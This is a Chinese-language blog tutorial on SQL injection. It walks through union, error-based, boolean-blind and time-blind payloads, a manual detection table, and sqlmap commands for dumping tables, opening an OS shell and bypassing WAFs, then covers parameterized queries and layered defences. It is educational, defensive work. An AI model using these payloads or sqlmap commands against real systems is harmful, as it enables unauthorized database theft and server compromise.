SQL注入:从原理到防御,一条完整的攻防链路

SQL注入:从原理到防御,一条完整的攻防链路

SQL注入(SQL Injection)是一个”古老”却至今仍稳居 OWASP Top 10 前列的漏洞。根据 Verizon 2024 数据泄露报告,Web应用攻击中有超过 25% 与注入类漏洞相关。本文从攻击者视角走一遍完整链路,再回到防御方,给出可落地的方案。


一、SQL注入的本质

一句话概括:用户输入的数据被当作 SQL 代码执行了。

举个例子,一个典型的登录查询:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

如果用户输入 admin' -- 作为用户名,拼接后变成:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'whatever'

-- 是 SQL 注释符,后面的密码验证直接被吃掉。攻击者无需密码即可登录。

这背后的根因是:代码将数据和指令混在了一起,没有做严格分离


二、四种常见注入手法

2.1 联合查询注入(Union-Based)

前提是页面会直接显示查询结果。核心思路是用 UNION SELECT 把恶意查询结果拼到正常结果后面。

关键前置步骤:先确定原查询的列数。

' ORDER BY 1--   # 正常
' ORDER BY 2--   # 正常
' ORDER BY 3--   # 报错 → 说明只有2列

确认列数后,构造联合查询:

' UNION SELECT NULL, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--

这一步可以拖出数据库里所有表名。然后逐层递进:表名 → 列名 → 数据。

2.2 报错注入(Error-Based)

页面不直接显示数据,但会暴露数据库错误信息。利用数据库函数制造”带数据的报错”。

MySQL 经典 payload:

' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--

updatexml 的第二个参数不是合法 XPATH 时会报错,并把非法内容输出到错误消息里0x7e~ 字符,用来标记提取内容的边界。

类似的还有 extractvalue()floor() + rand() 双重查询等手法。

2.3 布尔盲注(Boolean-Based Blind)

完全不显示数据,也不报错,但页面对于”真”和”假”的查询会返回不同内容(比如”用户存在” vs “用户不存在”)。

逐字符猜解:

' AND ASCII(substring((SELECT database()),1,1)) > 100--

通过二分法不断缩小范围,逐字符拼出完整数据。一个8位数据库名理论上最多需要 8×7=56 次请求。

2.4 时间盲注(Time-Based Blind)

最极端的情况:页面不管查询结果如何,返回都一样。此时用延时函数来”听”结果。

' AND IF(ASCII(substring((SELECT database()),1,1))>100, SLEEP(3), 0)--

如果页面响应延迟了 3 秒,说明猜对了。这是最慢但最通用的方法。


三、手工检测四步法

对于任何一个可能存在注入的参数,按以下顺序测试:

步骤 测试内容 Payload示例 观察点
1 字符型检测 ' " ') 是否报错/异常
2 数字型检测 1-0 1+0 1*2 运算结果是否一致
3 布尔差异 AND 1=1 vs AND 1=2 页面是否不同
4 时间延迟 AND SLEEP(5) 是否明显延迟

如果第1步就报错了,直接进入利用阶段。如果第3步页面有差异,布尔盲注。如果只有第4步有效,时间盲注。

注意:测试时务必在合法授权范围内(自己搭建的靶场、授权的渗透测试项目等)。


四、sqlmap 自动化实战

手工注入适合学习和理解原理,实战中更常用自动化工具。sqlmap 是 SQL 注入的瑞士军刀。

基础用法

# 探测 GET 参数
sqlmap -u "http://target.com/page.php?id=1"

# 指定参数,提高效率
sqlmap -u "http://target.com/page.php?id=1&cat=2" -p id

# POST 请求
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user

进阶参数

# 有 Cookie/Session 时带上
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=xxx"

# 指定数据库类型(跳过指纹识别,加快速度)
sqlmap -u "..." --dbms=mysql

# 获取数据库列表
sqlmap -u "..." --dbs

# 获取指定库的所有表
sqlmap -u "..." -D dbname --tables

# 拖指定表的数据
sqlmap -u "..." -D dbname -T users --dump

# 尝试获取 OS Shell(高风险,需授权)
sqlmap -u "..." --os-shell

绕 WAF 常用 tamper

# 使用 tamper 脚本绕过简单 WAF
sqlmap -u "..." --tamper=space2comment,randomcase,between

# 查看所有可用 tamper
sqlmap --list-tampers

常用的 tamper 脚本:

Tamper 作用
space2comment 空格替换为 /**/
randomcase 随机大小写绕过关键字匹配
between > 替换为 BETWEEN
charencode URL 编码
charunicodeencode Unicode 编码

五、防御方案:纵深防御

单点防御不可靠,需要层层设防。

5.1 第一层:代码层 — 参数化查询

这是最核心、最根本的防御手段。 参数化查询将 SQL 结构与数据彻底分离,从机制上杜绝注入。

错误示范(PHP):

$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

正确做法(PDO 预处理):

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);

Java(JDBC PreparedStatement):

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);

注意:参数化查询不能用于表名、列名、ORDER BY 等动态 SQL 标识符。这些场景需要白名单校验

$allowed_columns = ['id', 'username', 'email', 'create_time'];
$order_by = in_array($_GET['order'], $allowed_columns) ? $_GET['order'] : 'id';

5.2 第二层:输入校验

  • 类型强制:ID 必须是整数 → intval()
  • 格式校验:邮箱、手机号用正则白名单
  • 长度限制:防止通过超长输入绕过

5.3 第三层:最小权限原则

应用连接数据库的账号永远不要用 root

-- 只给必要的权限
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';

这样即使发生注入,攻击者也无法执行 DROP TABLELOAD_FILEINTO OUTFILE 等高危操作。

5.4 第四层:WAF / 数据库防火墙

在应用之前加一层 WAF(如 ModSecurity、Cloudflare WAF),拦截常见注入 payload。数据库层也可以部署数据库防火墙(如 MySQL Enterprise Firewall),学习正常 SQL 模式后阻断异常查询。

5.5 第五层:日志监控与告警

  • 记录所有 SQL 错误日志
  • 对高频 information_schema 查询、UNION SELECT 等特征设置告警
  • 定期审计数据库慢查询日志中的异常模式

六、总结

SQL 注入的攻防本质上是一场信息不对称的博弈:

视角 核心逻辑
攻击方 找到数据与指令的边界模糊点,注入恶意 SQL
防御方 用参数化查询彻底分离数据与指令

参数化查询解决了 90% 的问题,剩下 10%(动态排序、表名拼接等)靠白名单校验。再加上纵深防御的其他层级——输入校验、最小权限、WAF、日志监控——可以把风险降到可控范围。

最后提醒一句:本文所有技术仅供学习与授权测试使用。未授权的渗透测试属于违法行为。


参考资源

  • OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  • sqlmap 官方文档: https://github.com/sqlmapproject/sqlmap/wiki
  • PortSwigger SQL Injection Tutorial: https://portswigger.net/web-security/sql-injection
  • DVWA(练习靶场): https://github.com/digininja/DVWA
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
©2003-2026 土人老周